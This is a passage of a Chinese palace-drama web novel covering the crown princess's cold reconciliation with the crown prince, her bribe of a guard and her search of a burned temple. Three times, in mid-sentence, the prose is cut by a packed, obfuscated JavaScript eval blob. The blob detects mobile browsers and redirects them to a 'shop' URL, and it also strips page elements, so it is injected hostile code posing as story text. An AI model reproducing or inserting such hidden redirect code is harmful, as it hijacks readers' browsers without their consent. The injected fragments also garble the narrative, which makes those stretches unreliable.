他松开握着她的手,转而扣住她的下巴,将她的脸扳过来,正对着自己。他的力道不重,却不容拒绝,指腹贴着她的下颌,微微用力。 “孤不追究你先斩后奏,”他说,一字一顿,“这事便翻篇了。” 他不是在沟通,是在单方面宣布结束。 “好。”她听见自己说。 他的手掌重新落回她的手背上,轻轻拍了拍,像拍一件终于安放妥当的东西。 “初六,”他说,“孤登基时,会册立你为皇后。” 秦宝宜垂着眼,没有接话。 沈昱继续说下去,声音温和得像在说一件理所当然的事: “一国之母,便不能再耍这些小孩子脾气了。” 他顿了顿,声音放得更软了些: “待朝局稳定了,咱们还会有孩子的。” 秦宝宜抬起眼。 “不。”她说。 沈昱愣了一下。 那愣怔很短,短到几乎察觉不出。但他的手指停住了,停在她的手背上,一动不动。 “不?”他轻轻重复。 秦宝宜望着他。 “我现在就要。” 不是“臣妾”,是“我”。 她不是不知道这话意味着什么。不是不知道此刻提这件事有多不合时宜。 但她还是要说。 因为那孩子,不再是为他生的了。 与情爱无关,与他沈昱无关。是她需要一个孩子——一个流着沈秦两家血脉的孩子。用于稳固地位,用于连结两姓,用于在必要时—— 成为一枚护身符。 她必须在还能怀的时候怀上。 在他还肯哄着她、还不敢对秦家亮剑的时候怀上。 “你身子还没养好。”沈昱说。 他的声音仍是温和的,但秦宝宜听出来了,那温和里多了一丝别的东西。像一潭静水,底下暗流涌动。 “太医说,”秦宝宜说,“再养一个月便可。” 沈昱没有说话。 他看着她,目光幽深,像在权衡什么。 殿内静下来。 炉火噼啪作响,窗外风声时远时近。更漏不知滴到第几刻,一滴一滴,像时间在慢慢流走。 良久,沈昱动了。 他抬手,轻轻按在她的后颈上,将她往自己怀里带了带。然后他俯下身,嘴唇落在她额发上。 “宝宜。”他的声音闷在她发间,低低的,带着一丝不易察觉的叹息。 “咱们重新开始。” 更漏将尽,子时三刻。 正殿的烛火熄了大半,只剩床头一盏孤灯,映着藕荷色的帐幔。 帐内暖意融融。地龙烧得足,鎏金熏笼里燃着她惯用的百合香,香气丝丝缕缕,弥漫在空气里。锦被是今冬新制的,杏红色妆花缎面子,内里絮着上好的丝绵,盖在身上轻软暖和。 一切与五年来无数个夜晚无异。 秦宝宜平躺着,望着帐顶。 藕荷色的暗纹在烛光里明明灭灭,海棠缠枝,五福捧寿。她嫁进来那夜,也是望着这片帐顶。那时她心跳如擂,连呼吸都不敢太重,怕惊着身边那个人。 那个人侧过身来,贴着她的耳朵,温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她只是继续平躺着,呼吸的节奏都没有变。 他的手掌覆上来,掌心温热,指腹有薄茧。从前她会轻轻吸气,会微微拱起身体,会在他耳边唤“殿下”,声音软得像化了的蜜。 此刻她只是躺着。 她的眼睛望着帐顶,望着那一片藕荷色的暗纹。 海棠缠枝,五福捧寿。 她数到第七朵海棠时,感觉到他的气息变得急促。 他的动作开始变得急切。像要确认什么,像要撞开什么,像要从她身上找到什么。他的手掌扣住她的腰,指节微微收紧,把她往自己怀里带。 她顺着他的力道靠过去。 软绵绵的。像一袋棉花,像一捧水,像任何没有骨头的东西。 他的呼吸喷在她耳侧,滚烫的,急促的。她感觉到他的身体绷紧了,感觉到他的手指陷进她的腰侧,感觉到—— 她闭上眼睛。 像等待一场雨停,等待一阵风过去,等待一件事做完。 不知过了多久,他的动作慢下来,最后停住。 他的额头抵在她肩窝里,呼吸粗重,汗湿的鬓角贴着她的肌肤。他的手掌还扣在她腰间,指节微微发抖。 秦宝宜睁开眼睛。 帐顶还是那片帐顶。烛火矮下去一截,光影暗了些。更漏不知何时停了,大约是忘了添水。 她感觉到他的嘴唇动了动,贴着她的肩窝,发出一个含混的音节。 像是她的名字。 她没有回应。 她只是抬起手——这是今夜她第一次主动触碰他——轻轻覆在他的后背上,拍了拍。 一下,两下,三下。 像拍一个需要安抚的孩子。 然后她收回手,重新平放在身侧。 沈昱僵住了。 那一瞬间,他整个人像被定住了一样,连呼吸都停了。 他抬起头,看她。像在看一个陌生人。 “殿下累了。”她说,声音很轻,像怕惊着他。 “睡吧。” 她伸手,替他将滑落的锦被拉上来,盖好他的肩膀。动作轻柔,妥帖。 然后她翻过身去,背对着他。 帐幔轻轻晃动,烛光在她侧脸上投下浅淡的阴影。 沈昱没有动。 他仍保持着那个姿势,额头几乎要抵上她的后背,却悬在半空,没有落下去。 帐内静极了。 静得能听见窗外风吹过檐铃的声音,叮当,叮当,一下一下,像有人在远处敲着更鼓。 良久,他慢慢躺回去,平躺着,也望着帐顶。 如今她就在他身边。 只隔着半臂的距离。 他却觉得,她离他,比那天边的月亮还要远。 外面起风了。 窗棂被吹得轻轻作响,烛火晃了晃,终于熄灭。 黑暗涌进来,淹没了帐幔,淹没了床榻,淹没了两个人之间那半臂的距离。 他听见她的呼吸。 平稳的,均匀的,像已经睡着了。 他没有睡。 他睁着眼睛,望着那片黑暗,一直望到天亮。 7. 和好 秦宝宜没睡实。 嫁入东宫后,她一向浅眠,每夜总要醒两回,听一听更漏,看一看身旁的人,确认一切如常,才能再阖上眼。 今夜却不同。 她醒着,又不算全醒。半梦半醒间,能听见身侧那个人辗转反侧的声音——锦被窸窣,枕褥轻响,一下一下,像困兽在笼中踱步,找不到出口。 她没睁眼。 她感觉得到他的手伸过来,握住她的,指腹摩挲着她的指节,一遍又一遍。她也感觉得到他的目光落在她脸上,停留很久,然后移开,然后又落回来。 还有他的手,抚过她的长发,从发顶到发梢,很轻,很慢,像在确认什么。 从前她最喜欢他这样。 新婚那些日子,她总装睡,等他来摸她的头发。那手指穿过发丝的感觉,像春水漫过堤岸,温温的,软软的,让她觉得自己是被珍视的。 如今她仍是装睡。 只是心境不同了。 从前是贪恋那点温存,如今是在心里一笔一笔地记——他睡不着,不是因为愧疚,不是因为悔恨,而是因为今夜,他终于确认她变了。 那个从前在床笫间羞涩、周到、逢迎的秦宝宜,不在了。 沈昱这辈子,最擅长的事是算账。 算人心,算利益,算局势,算每一步棋的得失。他能算得这么清楚,是因为他有一个核心的公式:只要得到大于付出,就值得做。 所以他可以在满眼深情的同时,给她下四年避子药。 ——储位稳固的“得到”,远大于牺牲她子嗣的“付出”。在他的账本上,这是划算的买卖。 所以他可以把沈环硬塞给她,说“孤补偿给你个孩子”。 还是那套算法——她不再闹了、堵住宗室朝臣的嘴,这是“得到”;付出一个无关紧要的庶子,这是“付出”。在他的账本上,这依然是划算的。 但他算错了最关键的一笔。 他以为,她还会有情绪。 愤怒、伤心、怨恨、冷战——任何一种都行。因为只要有情绪,就有账可算。嫉妒,他可以哄。伤心,他可以补偿。愤怒,他可以等它慢慢消。冷战,他可以等她自己想通。 今夜之前,他一直是这样以为的。 所以当他听见主院的琵琶声盖过李承徽的琴音时,他几乎是立刻起身,往她院子里来。他以为她在争宠,以为她在意了——有情绪就好办。 所以她开口要孩子时,他犹豫了一下,还是答应了。 所以他贴着她的耳朵说“咱们重新开始”时,是真的以为能重新开始的。 然后欢爱过后,她拍了三下他的背。 那三下,拍碎了他所有的算盘。 不是愤怒,不是伤心,不是怨恨——她只是拍了拍他的背,像拍一个需要安抚的孩子,然后翻过身,睡了。 那不是一个妻子的动作。是一个不再对他有任何期待的女人,才会有的、敷衍的动作。 他抱着她,心跳贴着她的后背,手指抚过她的额发,嘴唇凑在她耳边,不知是在对她说,还是在对自己说: “你只是累了。” 他必须这样说。 因为如果她不是累了,如果她真的变成了那个样子——那他这五年的账,就全算错了。 黑暗中,他睁着眼,一直睁到天亮。 次日一早,秦宝宜先醒来。 睁开眼睛的那一瞬,她看见了窗纸上的天光——灰蒙蒙的,带着腊月特有的寒意。更漏不知何时又添了水,一滴一滴,不紧不慢。 她没动。 她能感觉到身后那个人的呼吸还均匀着,但她也知道他醒了——她对他太熟悉了,熟悉到能从呼吸的轻重判断他是睡着还是醒着。 “醒了?” 果然,他的声音从身后传来,带着晨起特有的低哑。 秦宝宜没答话。 她做了一个动作—— 一翻身,钻进他怀里。 动作很自然,像从前无数次做过的那样。她的脸贴着他的胸口,手臂环过他的腰,整个人缩进他怀里,像一只钻进巢穴的小动物。 她听见他的呼吸顿了一瞬。 她感觉到他的手滞在半空,过了好几息,才慢慢落下来,覆在她肩上。 “冷。”她说,声音闷在他胸口,瓮瓮的。 沈昱没有说话。 他的手覆在她肩上,隔着中衣,她能感觉到他掌心的温度。那温度没有立刻传过来,而是在一点点渗,像冬日里呵出的白气,慢腾腾地,暖不了什么。 过了很久,他才将被子往上拉了拉,盖住她的肩头。 她又变了。 与昨夜不同,与从前也不同。 从前她也这样钻进他怀里过——新婚那会儿,她总这样。后来渐渐少了,她说自己是正妃,要守着规矩,不能让下人看了笑话。他劝过几次,她仍是坚持。 如今她又不守那规矩了。 可这一次,他感觉不到从前的温存。 两人从前感情也好。可她生怕外人说她恃宠生娇。所以每一个清晨,都是她先起床,亲自服侍他更衣梳洗,从不假手于人。 “你从不赖床的。”他说。 秦宝宜闭着眼,枕在他手臂上,嘴角微微翘起:“臣妾想通了。” 她的声音闷在他胸口,软软的,带着刚睡醒的慵懒。 昨夜迈过了肌肤之亲那道坎,她真的无所谓了。 想通什么?她没有说。但她知道沈昱在困惑什么。 他困惑她为什么变来变去。昨夜冷得像冰,今晨又软得像水。昨夜背对着他睡,今晨又往他怀里钻。 他来迟一步。 她的情绪永远与他错位。他终于意识到不对劲,开始探究时,她已经把破碎的心黏好,重新开始了。 不是回到从前。是从废墟里站起来,往前走了。 她不是他的。她从来都不是。 她只是借了他五年。 “孤让人新打了一副头面,”他终于开口,声音里带着试探,“赤金的,嵌了你喜欢的红宝石。待会儿让人给你送来。” 只要她不再闹就好。他选择忽视那点异样。 只要她还肯收东西、还肯说话、还肯在他面前笑,那些说不清的、想不通的,都可以慢慢来。 秦宝宜从他怀里抬起头,看着他。 那目光里有仰慕,有信赖,有恰到好处的欢喜——和从前一模一样。 “好呀。”她说。 仿佛真的翻篇了。 沈昱低头看她。 晨光透过窗纸照进来,落在她脸上,将那眉眼照得清清楚楚。她笑着,眉眼弯弯,像从前的每一个清晨。 可他总觉得哪里不对。像一幅画,笔触、用色、构图都对,可就是——没有魂。 他正要说什么,她已经开口了。 “玄清观失火,”她的声音里带着恰到好处的关切,“母后的灵柩呢?还在吗?” 四目相对。 那一瞬间,殿内的空气像是凝住了。 沈昱看着她。那目光很深,像要从她眼底看到心里去,看到底是随口一问,还是别有用心。 秦宝宜任他看着。 良久,他说:“不在了。” 声音很轻,轻得像一片落叶,落在水面上,涟漪都没荡起几圈。 秦宝宜的手在被子里攥紧。指甲刺进掌心,疼得她几乎要倒吸一口凉气。但她面上什么都没有露出来。她只是垂下眼,睫毛轻轻颤动了一下。 她的面上仍是那副神情——关切里带着一丝惋惜,惋惜里带着一丝体谅。她甚至抬起手,轻轻覆在他手背上,拍了拍。 “谁都不想玄清观失火的,”她说,声音软软的,像在宽慰一个难过的人,“殿下莫自责。” 她没问过他玄清关为什么着火,此时当着他的面,归咎为意外。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“让咱们的孩子遭了窦氏的毒手,”她说,声音低下去,带着一丝恰到好处的黯然,“皆是因为臣妾过去懒怠的缘故。” 她抬起眼,看他。 那目光里有一丝恰到好处的敏感,像怕被嫌弃,怕被推开。 “还是殿下心里已有了人选,”她轻轻问,“不想让臣妾插手?” 沈昱的心口又是一紧。 这神情他太熟悉了。从前每次她怕他生气时,都是这样看着他——微微歪着头,眼睛里带着一丝小心翼翼的试探。 可他还是觉得不对—— 这幅画,临摹得再好,也是临摹。 “怎会。”他说,声音温和如常,“孤是怕你累着。” 他走过去,俯身,在她额头上落下一个吻。 然后他直起身,叫了薛晟在门外听吩咐。 “你陪太子妃去玄清观走走,”他说,声音不高不低,恰好能让门外的人听清,“保护好太子妃,逛逛就回来。别靠近废墟,不得多耽搁。” 他走后。秦宝宜仍坐在床上,拥着锦被出神。 帘子落下来,隔绝了外间的光亮。 殿内静下来。 她慢慢松开握紧的手,低头看着掌心里那几道深深的指甲印。 血珠正从伤口里渗出来,细细的,红红的。她盯着看了很久。 然后她抬起头,望着窗外的天光。 今日有风。窗纸被吹得轻轻作响,一下一下,像有人在远处敲着丧钟。 她想起昨夜沈昱说的那句话—— “咱们重新开始。” 她垂下眼,望着掌心那几道血痕,嘴角慢慢弯起来—— “好啊,重新开始。” 8. 交易 秦宝宜换了便装。杏红短襦,玄色长裙,外罩一件半旧的青灰斗篷——是未出阁时常穿的装束,连发髻都梳简单了,只一根玉簪绾住。 车驾是普通的青帷油车,没挂东宫标识。两匹挽马也是寻常的河曲马,鬃毛修剪得齐整,却不打马印。 薛晟骑马跟在车旁,身后是四名便装侍卫,远远缀着。 出城十里,官道渐窄,拐入山径。积雪被车轮碾出两道深辙,路旁枯草结着冰晶,在日光下闪着细碎的光。 玄清观建在半山腰。远远能望见时,秦宝宜掀开车帘,探出头去。 道观的门楣还在,青石匾额上“玄清观”三个大字依稀可辨。但门内的建筑已是一片废墟——正殿塌了,偏殿烧成焦黑的木架,几株百年古柏歪斜着,枝干炭化,像一只只伸向天空的手。 没有生气。连乌鸦都没有。 车在山门前停稳。秦宝宜踩着脚踏下来,斗篷下摆在雪地上拖出一道浅痕。 薛晟已翻身下马,几步抢在她前面,垂首道:“娘娘,此处危险。” 秦宝宜看了他一眼。 他没敢直视她,目光落在她脚前三寸的雪地上。残掌用白布厚厚缠着,勒在腰侧,像藏着一件不便示人的东西。 “这火,”秦宝宜问,“是怎么着起来的?” 薛晟垂着头,答得很快:“回娘娘,天干物燥,道观里灯烛不慎,走了水。” 秦宝宜没应声。她抬起头,望着那片废墟。 腊月的雪积了半尺厚。天干物燥? 她收回目光,又问:“那些道长呢?一个都没逃出来?” 薛晟顿了顿。 “都烧死了。”他说。 秦宝宜望着他。 他仍是垂着眼,神色恭谨,答得也顺。但那个停顿,像一根细刺,扎在她耳朵里。 她没再问。抬脚往废墟里走。 薛晟往前一步,拦住去路。 “娘娘,”他的声音仍是恭谨的,但脚步没动,“里面危险,请娘娘止步。” 秦宝宜停下来,看着他。 他不闪不避,就那样挡在她面前。那半截断掌隐在腰侧,另一只手垂着,指节微微蜷起——不是防备,是紧张。 她没说话。从袖中摸出一只鼓囊囊的锦袋,放在他掌心里。 薛晟一愣。 那袋子沉甸甸的,隔着锦缎能摸出金馃子的形状。他下意识推回去:“娘娘,这万万不可——” 秦宝宜没接。 “收下。” 薛晟的手僵在半空。他抬起头,看着她,眼底有困惑。 秦宝宜没看他。她望着废墟的方向,声音不高不低,像在说一件寻常事。 “你跟在殿下身边多年,尽职尽责,这是本宫赏你的。” 她顿了顿,目光落回他脸上。 “本宫知道你出身清寒。上有父母要养,下有弟妹。这两年才熬出头,成了东宫亲卫。虽然体面,但殿下严于律己,你怕也没什么油水可捞。只凭俸禄,养这一家子,日子紧张吧?” 薛晟的手指微微蜷紧。 那锦袋还托在他掌心里,金馃子硌着掌心,沉甸甸的。他没再推辞,也没谢恩。只是垂着眼,不说话。 “本宫没别的意思。”她的声音放缓了些,“那日砍你半掌,是你该罚。但今日赏你,是怕这半掌耽误你家生计。” 她顿了顿。 “民间说,阎王打架,小鬼遭殃。本宫与殿下的家事,却连累了你。本宫心里过意不去。” 薛晟猛地抬起头。 他看着秦宝宜。那目光里没有恭谨,没有防备,只有一种——他来不及掩饰的震动。 秦宝宜任他看着。 “这是你该得的。”她说。 薛晟垂下眼。他盯着掌心里那只锦袋,盯了很久。久到秦宝宜以为他不会开口了。 然后他听见他说—— “娘娘不必如此。” 那声音压得很低,低得几乎是从喉咙里挤出来的。 “属下不敢当。”他说,“属下奉命行事,不敢有怨言。” 秦宝宜没有接话。 她望着他,目光平静。然后她继续往下说,像没听见他那句推辞。 “本宫家里从军,知道侍卫之间的竞争不小。”她说,“你是靠功夫讨生活的,如今断了半掌……怕是日后,只能在这些琐事里打转了。” 薛晟的手指又是一紧。 他没说话。但他垂着的眼睫轻轻颤了一下。 秦宝宜看见了。 她移开目光,望向远处那一片焦黑的废墟。声音放得更轻了些,像是在说一件与自己无关的事。 “若你弟弟参军……” 她顿了顿。 “本宫愿意赏他份好前程。” 她不是在收买薛晟,她买不动,她只是要他的一点松动。 山风灌进来,掀起斗篷下摆,扑啦啦作响。 薛晟站在风里,一动不动。他低着头,盯着自己掌心里那只锦袋。那袋子被他攥得变了形,金馃子的轮廓从锦缎里凸出来,一颗一颗,硌着他的指腹。 良久,他动了。 他把锦袋收进袖中。然后后退一步,侧过身,让出通往废墟的路。 “只能给娘娘一炷香。”他说,声音低哑,“请娘娘快些。” 他顿了顿。 “回去晚了,不好与殿下交代。” 秦宝宜没有看他。 她抬起脚,从他身侧走过去。斗篷的下摆擦过他靴尖,带起一阵细风,旋即散进雪地里。 薛晟站在原地,没有回头。 他望着山门外的来路,望着那几匹拴在枯树上的马,望着远处灰蒙蒙的天。残掌隐在袖中,攥着那只锦袋,攥得很紧。 身后,脚步声渐远。 秦宝宜带着青黛跨过山门。 脚踩下去,不是寻常雪地的松软,而是咯吱咯吱的碎响——雪下是焦土,是炭化的木屑,是不知什么东西烧剩下的残骸。青黛紧紧跟在后面,脸色发白,攥着秦宝宜的袖口不敢撒手。 目所能及之处,都是焦黑一片。 正殿的匾额掉在地上,裂成两半,金漆的字迹已辨认不出。殿门烧成了炭,歪斜着倚在门框上,像一具站不直的尸体。透过门洞望进去,里面是塌陷的屋顶,横七竖八的焦木,和一堆堆分不清是什么的黑灰。 偏殿更惨。墙塌了一半,露出的内室里,床榻的轮廓还在,但榻上的被褥已烧成一团黑疙瘩,散发着焦臭的气味。窗棂只剩炭化的木楔,像骷髅的眼眶,空洞洞地望着天。 几株百年古柏歪斜着,枝干炭化,黑黢黢地伸向天空,像一只只无声呐喊的手。 “这里什么都没有了,”青黛的声音发着抖,攥着秦宝宜袖口的手越来越紧,“怪吓人的,咱们别进去了吧?” 秦宝宜没有应声。 她提起裙摆,继续往里走。 绣鞋踩在焦土上,每一步都陷下去半寸,拔出来时带起一阵黑灰。那灰飘起来,落在裙摆上,落在斗篷上,落在她脸上,带着一股焦糊的、呛人的气味。 皇后的灵柩,一直停在道观后院的二层楼上。 她记得。那年皇后薨,她来祭拜,在那座二层小楼下站了很久。沈昱陪着她,握着她的手,说:“母后最喜欢你。往后咱们常来看她。” 如今那座二层小楼还在——只剩一半了。 楼塌了半边,剩下的一半歪斜着立在废墟里,像一只勉强站立的伤兽。楼梯露在外面,从一楼斜斜地伸向二楼,踏板被烟熏得乌黑,有几级已经断了,悬在半空。 秦宝宜走到楼梯前,停住脚步。 她抬起一只脚,绣鞋轻轻踩上第一级踏板。 踏板吱呀一声,往下陷了半寸。黑灰簌簌地落下来,洒在她鞋面上。 “主子,”青黛的声音都变了调,“奴婢上去看看!” 秦宝宜没回头。 “我自己来。” 她嫁进东宫五年,没再碰过刀剑,没再骑过马,没再做过任何“不合太子妃身份”的事。但那从小打下的底子还在——将门之女的身份,她的筋骨还记得。 她收紧腰腹,把全身的重量都收在一处,然后抬起另一只脚。 第二级。 吱呀—— 第三级。 第四级。 她走得很慢,每一步都先用脚尖轻轻点一下,确认那块踏板还能承重,才把整个脚掌落上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17214293|197441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。楼梯在她脚下吱吱呀呀地响着,像随时要散架。 走到中段,前面的路被塌下来的东西堵住了。 一根横梁斜插在那里,梁上还挂着半截烧焦的帷幔。横梁的另一头搭在二楼的断口处,摇摇欲坠。 秦宝宜估了估高度。 她抬起手,抓住那根横梁。掌心触到的瞬间,一层黑灰扑簌簌落下来,呛得她眯起眼。 她咬紧牙,两手用力一撑,整个人翻了上去。 横梁在她身下晃了晃,发出一声沉闷的嘎吱。她没停,借着那一下晃动的力道,翻身落在二楼的断口处。 脚下是二楼的地板。 她站稳了,抬起头—— 二楼什么都没有。 火烧了一天一夜。所有的东西都成了炭。桌椅的轮廓还在,但一碰就会散成一堆黑灰。帷幔烧成了焦片,挂在窗棂上,风一吹就簌簌地往下掉渣。墙上挂过的字画只剩几根炭化的轴头,散落在地上,一脚踩上去就碎了。 但皇后的棺材不在。 秦宝宜站在那儿,目光一寸一寸地扫过这片废墟。 棺材是阴沉木做的。父皇亲自选的料,说是千年不腐,万年不烂。阴沉木耐火耐水,就算整座楼都烧成灰,它也该还在——就算烧变形了,烧裂了,烧得面目全非了,也总该留下点什么。 但什么都没有。 她往前走了一步。 地板在她脚下吱呀一声,往下陷了半寸。 她又走了一步。 吱呀—— 第三步。 吱呀—— 她的脚步猛地停住,但那吱呀声没有停。 是从她身后传来的。 很轻。很急。像有什么东西在移动,踩着这摇摇欲坠的地板,一下一下,越来越远。 秦宝宜霍然回身—— 一道矮矮的影子从废墟里窜出来,朝窗户的方向奔去。 “谁!” 那影子没停。它跳上窗台,眼看就要翻出去—— “青黛!抓人!” 青黛的声音从楼下传来,带着一股子狠劲:“是!” 一息后,楼下的废墟里传来一阵急促的脚步声,重物落地的闷响,然后是青黛的声音:“主子!抓住了!” 秦宝宜又扫了四周一圈。 再没见什么异常。只有焦黑的废墟,沉默地立在那里,像一座巨大的坟。 她原路返回,走到楼梯断口处,手一撑,从那根横梁上翻下一楼。 青黛手里正扣着一个人。 一个孩子。浑身焦黑,看不清面貌。头发烧得只剩下半截,卷曲着贴在头皮上。脸上全是黑灰,只有眼白是白的,此刻正瞪得大大的,满是惊恐。 他的衣裳烧得破破烂烂,露出来的胳膊上全是烧伤的疤痕,新旧交叠,有些已经结痂,有些还泛着未愈的红。 “你是谁?”秦宝宜问。 那孩子张了张嘴,喉咙里发出一串含混的声音——啊啊呜呜的,不成字句。他挣扎着想说什么,但嘴唇哆嗦着,就是吐不出一个清楚的字音。 “可能是被熏哑了。”青黛说,手上扣得更紧了些,“主子,怎么办?” 秦宝宜没说话。 她盯着那个孩子。那孩子也盯着她。四目相对的一瞬间,她看见他眼底有恐惧,有警惕,还有一丝—— 期待? 秦宝宜想了想。 四下无人。废墟寂静。远处只有风声,和偶尔传来的枯枝断裂的脆响。 她从贴身的暗袋里摸出那枚红玉麒麟令牌。 令牌不大,巴掌见方,红玉温润,雕着一只踏云而行的麒麟。 她把令牌举到那孩子面前。 “你认识这东西吗?” 那孩子的眼睛一瞬间睁大了。 他盯着那枚令牌,盯着上面那只麒麟,不止是盯,像是在验证。然后他抬起眼,上下打量起秦宝宜——从头到脚,从眉眼到衣襟,一寸一寸地看,像要把她整个人刻进眼睛里。 他眼里的恐惧褪去了。眼睛忽然亮了一下,像一盏被重新点起的灯。 然后他开口了。 字正腔圆。一字一顿。清清楚楚。 “我在等你。” 9. 缠绵 秦宝宜独自一人从玄清观出来,刚好一炷香的时辰。 山门外,薛晟见她独自出来,他的目光往她身后探了探,很快收回来,垂着眼问:“青黛姑娘怎么没出来?” 秦宝宜系斗篷系带的手顿了一顿。 “本宫让青黛在里面给皇后娘娘诵经。”她说,系好系带,抬起眼看他,“诵完了,她自己回去。” 薛晟没有立刻接话。 山风灌进来,掀起斗篷下摆,扑啦啦作响。他站在风里,望着她,目光幽深,像在掂量什么。 秦宝宜不催他。 良久,他垂下眼,后退一步,侧身让出上车的路。 “请娘娘登车。”他说,“回去晚了,不好与殿下交代。” 秦宝宜从他身侧走过。斗篷的下摆擦过他的靴尖,带起一阵细风,旋即散进风里。 青帷油车辗过积雪,往城门的方向驶去。车帘垂落,隔绝了外间的光亮。 车驾驶入东宫时,天色已经暗下来。檐下灯笼早早点起,暖黄的光透过窗棂漫出来,映在廊前的薄雪上。 秦宝宜刚踏进主院的门,就被眼前的热闹震住了。 院门口围着一群莺莺燕燕,叽叽喳喳,好不热闹。她们手里端着各色礼物——锦盒、缎匹、食盒、绣品,堆得像座小山。一见她来,纷纷拥上来,七嘴八舌地请安。 “娘娘万安!” “娘娘身子可大好了?” “妾身特意绣了件抹额,娘娘若不嫌弃……” 秦宝宜站住脚,目光从这些人脸上慢慢扫过。 窦氏打理庶务时,这些人从前可都是围在窦氏身边的。逢年过节送礼,也是先送窦氏,再送她——走个过场罢了。 如今窦氏死了,她们倒想起她这个正妃来了。 她心里明白,今日闹这出,无非是听说了窦氏的下场,又观望了两日风向,看见沈昱把庶长子给她、又留宿她院里,知道她地位稳固,所以赶上来巴结。 “诸位这是?”秦宝宜皮笑肉不笑。 “妾身们瞧娘娘身子大好了,特来探望。”说话的柳氏,是庶次子沈琪的生母。她生得妩媚,擅舞,得过沈昱的几日欢心。此刻笑得最甜,手里的锦盒也最大——漆雕描金的,一看就是好东西。 “殿下今日吩咐了,来日进宫的位份,一概由娘娘来定。”李承徽站在人群最外侧,声音不高不低,恰好能让所有人听见。 她是除了窦氏以外,位份最高的,还有庶三子沈璋傍身。为人与她的琴声一样,曲高和寡——平日从不到处串门,也不巴结谁。今日难得,这天仙也肯下凡,来与她讨位份。 秦宝宜看着她。她也看着秦宝宜,目光平静,不卑不亢。 有意思。 秦宝宜收回目光,扫了一眼面前这群人。一个个打扮得花枝招展,脸上堆着恰到好处的笑,手里捧着精心准备的礼——像一群等着喂食的雀儿,叽叽喳喳,挤挤挨挨,都盼着能从她手里多叼几颗谷粒。 “诸位知道,”她说,声音不高不低,恰好能让所有人都听见,“本宫向来不擅长打理这些庶务。”也不了解这些人。 众人面面相觑,不知道她葫芦里卖的什么药。 秦宝宜顿了顿,话锋一转—— “但却擅长拳脚。” 院门口静了一瞬。 那些堆在脸上的笑,僵住了。 秦宝宜看着她们,慢条斯理地往下说:“不如诸位在本宫手底下过过招。能坚持一炷香的,便为妃位。其余按时辰长短,定嫔位六人,贵人三人。” 没人说话。 那些捧着礼盒的手,僵在半空。那些堆着笑的脸,一寸一寸地变了颜色。 过了好一会儿,才有人开口。 “娘娘莫不是在说笑?”说话的是赵氏,沈昱近来新宠。她穿着一身梅子色的骑装,腰勒得细细的,站在那里,像一株迎风招展的海棠。 秦宝宜从前没留意过她。今日才发现,她的身量、打扮、脾气——都很像一个人。 像从前的秦宝宜。 “从来后宫定位份,论贤德、论家事、论样貌、论子嗣,”赵氏扬起下巴,声音里带着一丝不易察觉的挑衅,“怎么也没有靠打架争高低的。” 秦宝宜看着她。 那目光很平,没什么情绪,只是落在她脸上,像落在一块石头上。 “照这个说法,”秦宝宜轻声说,“赵妹妹,恐怕连个贵人位份也捞不着。” 赵氏的脸涨红了。 她张了张嘴,想说什么,却被李承徽的声音打断了。 “娘娘这样做事,”李承徽的声音不高不低,清凌凌的,像她的琴声,“也不怕传出去贻笑大方,觉得殿下的后宫没规没矩。” 秦宝宜忽然有些好奇——若真动起手来,这个曲高和寡的“仙女”,能撑多久? “嫔妾倒是觉得娘娘的法子好极了。” 一个陌生的声音从人群后方传来。 众人让开一条道,露出说话的人——朴氏,外邦进献来的美人。她生得高挑,眉眼带着异域的风情,站在那里,像一柄出鞘的刀。 “大齐以武立国,”朴氏的声音不高不低,却字字清晰,“先皇后、太祖皇后、镇国长公主,哪个不是出身将门、有勇有谋的飒爽女儿?” 她顿了顿,微微扬起下巴。 “嫔妾虽是外邦人,却也听过这些故事。若能得娘娘指点一二,是嫔妾的福气。” 秦宝宜看着她。 朴氏迎着她的目光,没有躲闪。 有意思。 秦宝宜收回目光,扫了一眼在场众人。那些脸上的表情,真叫一个精彩——有人惶恐,有人不忿,有人观望,有人暗暗盘算。 她懒得再看。 “后日午时,”她说,“本宫在演武场等着诸位妹妹。” 她没接那些礼,从那群莺莺燕燕中间穿过去,径直往院里走。斗篷的下摆在雪地上拖出一道浅痕,靴底踏过青石板,笃、笃、笃,不紧不慢。 身后,那些叽叽喳喳的声音,渐渐远了。 晚膳时分,沈昱回来了。 他从宫里提了几样她平时喜欢的点心,用食盒装着,亲自提进来,在炭盆边坐下,烤着手,等着她。 “孤担心你去祭拜母后,心情不好,”他说,“来给你开开胃。” 秦宝宜从内室走出来。 她换了一身衣裳——不是白日那套便装,是一身绿色骑装。短襦紧束,长裙裁短了一截,露出一双鹿皮小靴。腰间系着革带,革带上挂着一根小马鞭,鞭梢缠着红绳,随着她的走动轻轻晃动。 她站在那里,像一棵劲嫩的小白杨。 沈昱的目光落在她身上,停住了。 那目光从她眉眼滑到肩头,从肩头滑到腰间,从腰间滑到靴尖,又慢慢移回来,重新落在她脸上。 他的眼睛亮了一下。 那亮光很轻,轻到几乎察觉不出。但秦宝宜注意到了——他的防备卸下,喉结滚动了一下。 她在他面前转了个圈。裙摆扬起来,又落下去,靴尖点地,稳稳站住。 “殿下可喜欢?”她问。 